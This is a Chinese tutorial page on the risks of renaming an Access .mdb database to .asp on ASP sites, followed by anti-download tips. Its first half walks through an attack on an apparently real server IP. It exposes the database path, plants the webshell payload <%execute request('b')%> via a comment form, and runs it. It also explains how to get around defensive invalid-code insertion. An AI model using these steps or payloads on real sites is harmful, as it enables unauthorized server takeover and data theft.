access改mdb为asp所带来的灾难 附mdb防下载方法

所属分类: 网络编程 / ASP编程 阅读数: 1766
收藏 0 赞 0 分享
先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。

一.思路

  大家都知道<%%>为asp文件的标志符,也就是说一个asp文件只会去执行<%%>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理者把mdb文件改为了asp文件,如果我们提交的数据里包含有<%%>,那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库,那么asp后缀的数据库就是我们的webshell了。

二.示例

  随便找个目标,首先我们暴库,看是不是asp后缀的数据库:http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210


  返回:
复制代码 代码如下:

Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'

/iisHelp/common/500-100.asp,行242

Microsoft JET Database Engine 错误 '80004005'

'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/test/conn.asp,行18


  我们提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载数据库(这里我们不讨论)。我们回到主页看到有提供“网友评论”功能。我们注册个用户,发一条评论:

<%execute request("b")%>

  这样我们就把asp代码:<%execute request("b")%>写入了数据库,那么数据库:就是我们的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到:

复制代码 代码如下:

/iisHelp/common/500-100.asp,行242
Microsoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'execute'

/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266


  注意:我们在向数据库提交代码时,代码内容不可以太大。所以我们采用<%execute request("b")%>。

三.其他一些问题和思路

  1.对于改了后缀为asp,还对数据库里加入了<%='a'-1%>等非法的asp代码来彻底防止下载的数据库,由于里面存在了非法的asp代码,插入我们的webshell代码后运行,将只会显示前面非法代码的错误,而不去执行我们shell的代码。虽然这样可以防止一定的攻击,但还是存在一定的隐患,我们只要在出错的代码前加入兼容错误的代码,就可以得到正确显示执行我们插入的webshell代码了。

  2.对于没有改后缀的,也就是mdb文件,这样我们可以先直接下载下来得到后台密码,进了后台,可以利用数据库备用改后缀为asp。

mdb防下载方法小结

1:在iis6下面 如果一个扩展名没有被定义则 访问的时候会出现文件没有找到的404错误。
因此你可以将数据库任意命名成一个绝对不会出现的文件名就可以达到安全的效果比如:xxxxx.xxxxxxxxxxx


2 将数据库放在网站的外部,那绝对就不能访问得到了。例如: e:/web/是你的网站
则把数据库放在e:/

3 正如楼上所说的 将.mdb 改成 .asp 同时倒入一个特殊的表 包含 <% 的二进制字符 这样访问文件出现 缺少脚本关闭符的提示。
4 或者将.mdb 改成.asp 同时用winhex打开 可以发现176以后有很长一部分 00 字符串 你随便在处改成一段asp代码 也可以实现防止下载,这样也不影响数据库功能。例如:
<%
response.write("非法访问")
response.end()
%>


现在在数据库的名称里 加上 “#” 和空格 都被破解了 比如“#” = “<%35” 而空格 = “<%20”

所以说 现在用这些已经不管用了。。


如果是自己的服务器的话就在IIS里设置一下:

新建一个空白的DLL文件,然后在IIS里添加映射,可执行文件选刚才建的这个DLL,扩展名填.mdb,保存后重启一下IIS服务即可。
更多精彩内容其他人还在看

asp知识整理笔记4(问答模式)

这是关于asp知识整理的最后一份笔记,希望大家仔细阅读。
收藏 0 赞 0 分享

ASP基础知识VBScript基本元素讲解

这篇文章主要介绍了ASP基础知识VBScript基本元素的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

ASP编码和解码函数详解

这篇文章主要介绍了ASP编码和解码函数的相关资料,需要的朋友可以参考下
收藏 0 赞 0 分享

ASP显示页面执行时间的方法

这篇文章主要介绍了ASP显示页面执行时间的方法,在本地测试一下输出页面需要多少时间,需要的朋友可以参考下
收藏 0 赞 0 分享

ASP基础入门第一篇(ASP技术简介)

本文将以 Active Server Pages 为中心,向你全面展示制作动态商业网站的步骤和技巧并通过大量的实例,让你在不断的理论和实践之中笑傲“网络”……
收藏 0 赞 0 分享

ASP基础入门第二篇(ASP基础知识)

这篇文章是ASP基础入门第二篇,第一篇展示了ASP动态网站设计的一些最基本的方法,相信通过实践各位对 ASP 已经有了最基本的了解,本文将进一步介绍ASP动态网站的一些基本技巧,需要的朋友可以参考下
收藏 0 赞 0 分享

ASP基础入门第三篇(ASP脚本基础)

通过前两篇的学习,相信各位已经对 ASP 的动态网站设计有了一个基本的概念和整体的印象。从本篇开始作者将从脚本语言的使用着手,由浅入深地带领大家探索 ASP 动态网站设计的真正奥秘。
收藏 0 赞 0 分享

ASP基础入门第四篇(脚本变量、函数、过程和条件语句)

大家在学习了脚本语言 VBScript 的变量、常量和过程的基本概念后,本期将继续向各位介绍 VBScript 的函数和语法。
收藏 0 赞 0 分享

ASP基础入门第五篇(ASP脚本循环语句)

在本文上两篇中,我们学习了脚本语言 VBScript 的变量、函数、过程和条件语句,本篇将继续给大家介绍 VBScipt 的循环语句,并对脚本语言在 ASP 中的应用加以总结。  
收藏 0 赞 0 分享

ASP基础入门第六篇(ASP内建对象Request)

从本篇开始作者从 ASP 内建对象着手,为大家详细剖析 ASP 的六个内建对象和各种组件的特性和方法,需要的朋友可以参考下
收藏 0 赞 0 分享
查看更多